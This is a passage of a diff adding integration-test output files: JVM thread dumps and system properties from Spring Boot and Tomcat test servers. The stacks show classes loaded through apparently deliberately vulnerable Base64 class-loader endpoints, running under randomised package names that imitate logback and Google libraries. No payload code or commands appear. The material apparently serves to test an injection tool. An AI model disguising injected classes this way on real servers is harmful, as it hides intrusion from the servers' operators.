io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"Common-Cleaner" #13 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@335c7887 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/java.lang.Object.wait(Native Method) + at java.base@17.0.2/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.2/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + at java.base@17.0.2/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"DestroyJavaVM" #22 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Reference Handler" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.2/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@17.0.2/java.lang.ref.Reference.processPendingReferences(Reference.java:253) + at java.base@17.0.2/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215) + +"Notification Thread" #12 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"boundedElastic-evictor-1" #19 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bafc647 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1672) + at java.base@17.0.2/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.2/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"server" #21 [WAITING] on java.util.concurrent.CountDownLatch$Sync@1a112ea1 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:211) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer.acquire(AbstractQueuedSynchronizer.java:715) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireSharedInterruptibly(AbstractQueuedSynchronizer.java:1047) + at java.base@17.0.2/java.util.concurrent.CountDownLatch.await(CountDownLatch.java:230) + at reactor.core.publisher.BlockingSingleSubscriber.blockingGet(BlockingSingleSubscriber.java:91) + at reactor.core.publisher.Mono.block(Mono.java:1779) + at org.springframework.boot.web.embedded.netty.NettyWebServer$1.run(NettyWebServer.java:229) + +"reactor-http-nio-5" #26 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.2/java.lang.Thread.dumpThreads(Native Method) + at java.base@17.0.2/java.lang.Thread.getAllStackTraces(Thread.java:1662) + at ch.qos.logback.RunDy.ErrorHandler.toString(BasicInfoPrinter.java:26) + at com.reajason.javaweb.vul.springboot3.controller.Base64ClassLoaderController.lambda$handleFormSubmission$0(Base64ClassLoaderController.java:32) + at com.reajason.javaweb.vul.springboot3.controller.Base64ClassLoaderController$$Lambda$848/0x0000000801050630.apply(Unknown Source) + at reactor.core.publisher.MonoFlatMap$FlatMapMain.onNext(MonoFlatMap.java:132) + at reactor.core.publisher.Operators$MonoSubscriber.complete(Operators.java:1865) + at reactor.core.publisher.MonoCacheTime$CoordinatorSubscriber.signalCached(MonoCacheTime.java:337) + at reactor.core.publisher.MonoCacheTime$CoordinatorSubscriber.onNext(MonoCacheTime.java:354) + at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onNext(FluxSwitchIfEmpty.java:74) + at reactor.core.publisher.FluxMapFuseable$MapFuseableSubscriber.onNext(FluxMapFuseable.java:129) + at reactor.core.publisher.FluxContextWrite$ContextWriteSubscriber.onNext(FluxContextWrite.java:107) + at reactor.core.publisher.FluxMapFuseable$MapFuseableConditionalSubscriber.onNext(FluxMapFuseable.java:299) + at reactor.core.publisher.FluxFilterFuseable$FilterFuseableConditionalSubscriber.onNext(FluxFilterFuseable.java:337) + at reactor.core.publisher.Operators$BaseFluxToMonoOperator.completePossiblyEmpty(Operators.java:2097) + at reactor.core.publisher.MonoCollect$CollectSubscriber.onComplete(MonoCollect.java:145) + at reactor.core.publisher.FluxMap$MapSubscriber.onComplete(FluxMap.java:144) + at reactor.core.publisher.FluxPeek$PeekSubscriber.onComplete(FluxPeek.java:260) + at reactor.core.publisher.FluxMap$MapSubscriber.onComplete(FluxMap.java:144) + at reactor.netty.channel.FluxReceive.onInboundComplete(FluxReceive.java:413) + at reactor.netty.channel.ChannelOperations.onInboundComplete(ChannelOperations.java:455) + at reactor.netty.http.server.HttpServerOperations.handleLastHttpContent(HttpServerOperations.java:890) + at reactor.netty.http.server.HttpServerOperations.onInboundNext(HttpServerOperations.java:806) + at reactor.netty.channel.ChannelOperationsHandler.channelRead(ChannelOperationsHandler.java:115) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) + at reactor.netty.http.server.HttpTrafficHandler.channelRead(HttpTrafficHandler.java:311) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:442) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) + at io.netty.channel.CombinedChannelDuplexHandler$DelegatingChannelHandlerContext.fireChannelRead(CombinedChannelDuplexHandler.java:436) + at io.netty.handler.codec.ByteToMessageDecoder.fireChannelRead(ByteToMessageDecoder.java:346) + at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:318) + at io.netty.channel.CombinedChannelDuplexHandler.channelRead(CombinedChannelDuplexHandler.java:251) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:442) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) + at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) + at io.netty.channel.nio.AbstractNioByteChannel$NioByteUnsafe.read(AbstractNioByteChannel.java:166) + at io.netty.channel.nio.NioEventLoop.processSelectedKey(NioEventLoop.java:788) + at io.netty.channel.nio.NioEventLoop.processSelectedKeysOptimized(NioEventLoop.java:724) + at io.netty.channel.nio.NioEventLoop.processSelectedKeys(NioEventLoop.java:650) + at io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:562) + at io.netty.util.concurrent.SingleThreadEventExecutor$4.run(SingleThreadEventExecutor.java:997) + at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) + at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"reactor-http-nio-4" #25 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.2/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.2/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.2/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.2/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:68) + at io.netty.channel.nio.NioEventLoop.select(NioEventLoop.java:879) + at io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:526) + at io.netty.util.concurrent.SingleThreadEventExecutor$4.run(SingleThreadEventExecutor.java:997) + at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) + at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@7f79f441 + java.lang.Thread.State: WAITING + at java.base@17.0.2/java.lang.Object.wait(Native Method) + at java.base@17.0.2/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.2/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.base@17.0.2/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + + +=========================================== + +StackClassNames: +ch.qos.logback.RunDy.ErrorHandler +com.reajason.javaweb.vul.springboot3.controller.Base64ClassLoaderController +com.reajason.javaweb.vul.springboot3.controller.Base64ClassLoaderController$$Lambda$848/0x0000000801050630 +io.netty.channel.AbstractChannelHandlerContext +io.netty.channel.CombinedChannelDuplexHandler +io.netty.channel.CombinedChannelDuplexHandler$DelegatingChannelHandlerContext +io.netty.channel.DefaultChannelPipeline +io.netty.channel.DefaultChannelPipeline$HeadContext +io.netty.channel.nio.AbstractNioByteChannel$NioByteUnsafe +io.netty.channel.nio.NioEventLoop +io.netty.channel.nio.SelectedSelectionKeySetSelector +io.netty.handler.codec.ByteToMessageDecoder +io.netty.util.concurrent.FastThreadLocalRunnable +io.netty.util.concurrent.SingleThreadEventExecutor$4 +io.netty.util.internal.ThreadExecutorMap$2 +org.springframework.boot.web.embedded.netty.NettyWebServer$1 +reactor.core.publisher.BlockingSingleSubscriber +reactor.core.publisher.FluxContextWrite$ContextWriteSubscriber +reactor.core.publisher.FluxFilterFuseable$FilterFuseableConditionalSubscriber +reactor.core.publisher.FluxMap$MapSubscriber +reactor.core.publisher.FluxMapFuseable$MapFuseableConditionalSubscriber +reactor.core.publisher.FluxMapFuseable$MapFuseableSubscriber +reactor.core.publisher.FluxPeek$PeekSubscriber +reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber +reactor.core.publisher.Mono +reactor.core.publisher.MonoCacheTime$CoordinatorSubscriber +reactor.core.publisher.MonoCollect$CollectSubscriber +reactor.core.publisher.MonoFlatMap$FlatMapMain +reactor.core.publisher.Operators$BaseFluxToMonoOperator +reactor.core.publisher.Operators$MonoSubscriber +reactor.netty.channel.ChannelOperations +reactor.netty.channel.ChannelOperationsHandler +reactor.netty.channel.FluxReceive +reactor.netty.http.server.HttpServerOperations +reactor.netty.http.server.HttpTrafficHandler diff --git a/integration-test/src/test/resources/infos/Tomcat10ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Tomcat10ContainerTestBasicInfo.txt new file mode 100644 index 00000000..5187a64b --- /dev/null +++ b/integration-test/src/test/resources/infos/Tomcat10ContainerTestBasicInfo.txt @@ -0,0 +1,380 @@ +# Generated At 2025-08-10 15:00:42 +SystemProps: +awt.toolkit: sun.awt.X11.XToolkit +java.specification.version: 11 +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +java.class.path: /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar +java.vm.vendor: Eclipse Adoptium +sun.arch.data.model: 64 +java.vendor.url: https://adoptium.net/ +catalina.useNaming: true +user.timezone: Etc/UTC +org.apache.el.GET_CLASSLOADER_USE_PRIVILEGED: false +os.name: Linux +java.vm.specification.version: 11 +sun.io.useCanonCaches: false +sun.java.launcher: SUN_STANDARD +user.country: US +sun.boot.library.path: /opt/java/openjdk/lib +sun.java.command: org.apache.catalina.startup.Bootstrap start +jdk.debug: release +sun.cpu.endian: little +user.home: /root +user.language: en +java.specification.vendor: Oracle Corporation +java.naming.factory.url.pkgs: org.apache.naming +java.version.date: 2025-01-21 +java.home: /opt/java/openjdk +file.separator: / +java.vm.compressedOopsMode: Zero based +line.separator: + +java.specification.name: Java Platform API Specification +java.vm.specification.vendor: Oracle Corporation +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +package.access: sun.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.tomcat. +package.definition: sun.,java.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.naming.,org.apache.tomcat. +jdk.tls.ephemeralDHKeySize: 2048 +server.loader: +java.util.logging.config.file: /usr/local/tomcat/conf/logging.properties +java.protocol.handler.pkgs: org.apache.catalina.webresources +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 11.0.26+4 +java.naming.factory.initial: org.apache.naming.java.javaURLContextFactory +user.name: root +path.separator: : +common.loader: "${catalina.base}/lib","${catalina.base}/lib/*.jar","${catalina.home}/lib","${catalina.home}/lib/*.jar" +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +java.runtime.name: OpenJDK Runtime Environment +file.encoding: UTF-8 +java.vm.name: OpenJDK 64-Bit Server VM +java.vendor.version: Temurin-11.0.26+4 +org.apache.catalina.security.SecurityListener.UMASK: 0027 +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +java.io.tmpdir: /usr/local/tomcat/temp +tomcat.util.scan.StandardJarScanFilter.jarsToScan: log4j-taglib*.jar,log4j-jakarta-web*.jar,log4javascript*.jar,slf4j-taglib*.jar +catalina.home: /usr/local/tomcat +java.version: 11.0.26 +tomcat.util.scan.StandardJarScanFilter.jarsToSkip: annotations-api.jar,ant-junit*.jar,ant-launcher*.jar,ant*.jar,asm-*.jar,aspectj*.jar,bcel*.jar,biz.aQute.bnd*.jar,bootstrap.jar,catalina-ant.jar,catalina-ha.jar,catalina-ssi.jar,catalina-storeconfig.jar,catalina-tribes.jar,catalina.jar,cglib-*.jar,cobertura-*.jar,commons-beanutils*.jar,commons-codec*.jar,commons-collections*.jar,commons-compress*.jar,commons-daemon.jar,commons-dbcp*.jar,commons-digester*.jar,commons-fileupload*.jar,commons-httpclient*.jar,commons-io*.jar,commons-lang*.jar,commons-logging*.jar,commons-math*.jar,commons-pool*.jar,derby-*.jar,dom4j-*.jar,easymock-*.jar,ecj-*.jar,el-api.jar,geronimo-spec-jaxrpc*.jar,h2*.jar,ha-api-*.jar,hamcrest-*.jar,hibernate*.jar,httpclient*.jar,icu4j-*.jar,jakartaee-migration-*.jar,jasper-el.jar,jasper.jar,jaspic-api.jar,jaxb-*.jar,jaxen-*.jar,jaxws-rt-*.jar,jdom-*.jar,jetty-*.jar,jmx-tools.jar,jmx.jar,jsp-api.jar,jstl.jar,jta*.jar,junit-*.jar,junit.jar,log4j*.jar,mail*.jar,objenesis-*.jar,oraclepki.jar,org.hamcrest.core_*.jar,org.junit_*.jar,oro-*.jar,servlet-api-*.jar,servlet-api.jar,slf4j*.jar,taglibs-standard-spec-*.jar,tagsoup-*.jar,tomcat-api.jar,tomcat-coyote.jar,tomcat-coyote-ffm.jar,tomcat-dbcp.jar,tomcat-i18n-*.jar,tomcat-jdbc.jar,tomcat-jni.jar,tomcat-juli-adapters.jar,tomcat-juli.jar,tomcat-util-scan.jar,tomcat-util.jar,tomcat-websocket.jar,tools.jar,unboundid-ldapsdk-*.jar,websocket-api.jar,websocket-client-api.jar,wsdl4j*.jar,xercesImpl.jar,xml-apis.jar,xmlParserAPIs-*.jar,xmlParserAPIs.jar,xom-*.jar +user.dir: /usr/local/tomcat +os.arch: aarch64 +java.vm.specification.name: Java Virtual Machine Specification +java.awt.printerjob: sun.print.PSPrinterJob +sun.os.patch.level: unknown +catalina.base: /usr/local/tomcat +shared.loader: +java.util.logging.manager: org.apache.juli.ClassLoaderLogManager +java.library.path: /usr/local/tomcat/native-jni-lib:/usr/java/packages/lib:/lib:/usr/lib:/usr/lib64:/lib64 +java.vm.info: mixed mode, sharing +java.vendor: Eclipse Adoptium +java.vm.version: 11.0.26+4 +java.specification.maintenance.version: 3 +sun.io.unicode.encoding: UnicodeLittle +tomcat.util.buf.StringCache.byte.enabled: true +java.class.version: 55.0 + +=========================================== + +ThreadStacks: +"Reference Handler" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.26/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@11.0.26/java.lang.ref.Reference.processPendingReferences(Unknown Source) + at java.base@11.0.26/java.lang.ref.Reference$ReferenceHandler.run(Unknown Source) + +"http-nio-8080-exec-8" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66279abb + java.lang.Thread.State: WAITING + at java.base@11.0.26/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.26/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@11.0.26/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@11.0.26/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:117) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1113) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1174) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:658) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + +"http-nio-8080-exec-9" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66279abb + java.lang.Thread.State: WAITING + at java.base@11.0.26/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.26/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@11.0.26/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@11.0.26/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:117) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1113) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1174) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:658) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-nio-8080-Acceptor" #29 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.26/sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at java.base@11.0.26/sun.nio.ch.ServerSocketChannelImpl.accept(Unknown Source) + at java.base@11.0.26/sun.nio.ch.ServerSocketChannelImpl.accept(Unknown Source) + at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:519) + at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:72) + at org.apache.tomcat.util.net.Acceptor.run(Acceptor.java:128) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + +"Common-Cleaner" #11 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@621812a7 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.26/java.lang.Object.wait(Native Method) + at java.base@11.0.26/java.lang.ref.ReferenceQueue.remove(Unknown Source) + at java.base@11.0.26/jdk.internal.ref.CleanerImpl.run(Unknown Source) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + at java.base@11.0.26/jdk.internal.misc.InnocuousThread.run(Unknown Source) + +"http-nio-8080-Poller" #28 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.26/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.26/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base@11.0.26/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base@11.0.26/sun.nio.ch.SelectorImpl.select(Unknown Source) + at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:758) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + +"Catalina-utility-2" #25 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@271a9080 + java.lang.Thread.State: WAITING + at java.base@11.0.26/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.26/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@11.0.26/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@11.0.26/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base@11.0.26/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base@11.0.26/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base@11.0.26/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base@11.0.26/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + +"http-nio-8080-exec-6" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66279abb + java.lang.Thread.State: WAITING + at java.base@11.0.26/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.26/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@11.0.26/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@11.0.26/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:117) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1113) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1174) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:658) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + +"Catalina-utility-1" #16 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@271a9080 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.26/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.26/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@11.0.26/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at java.base@11.0.26/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base@11.0.26/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base@11.0.26/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base@11.0.26/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base@11.0.26/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + +"http-nio-8080-exec-1" #17 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66279abb + java.lang.Thread.State: WAITING + at java.base@11.0.26/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.26/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@11.0.26/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@11.0.26/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:117) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1113) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1174) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:658) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + +"http-nio-8080-exec-2" #18 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66279abb + java.lang.Thread.State: WAITING + at java.base@11.0.26/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.26/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@11.0.26/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@11.0.26/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:117) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1113) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1174) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:658) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + +"http-nio-8080-exec-3" #19 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66279abb + java.lang.Thread.State: WAITING + at java.base@11.0.26/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.26/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@11.0.26/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@11.0.26/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:117) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1113) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1174) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:658) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + +"http-nio-8080-exec-7" #23 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.26/java.lang.Thread.dumpThreads(Native Method) + at java.base@11.0.26/java.lang.Thread.getAllStackTraces(Unknown Source) + at com.google.gso.INiRH.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.base@11.0.26/java.lang.String.valueOf(Unknown Source) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:243) + at jakarta.Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:29) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:195) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:140) + at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:51) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:164) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:140) + at jakarta.EmptyFilter.doFilter(EmptyFilter.java:15) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:164) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:140) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:167) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90) + at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:483) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:116) + at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93) + at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:666) + at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:344) + at 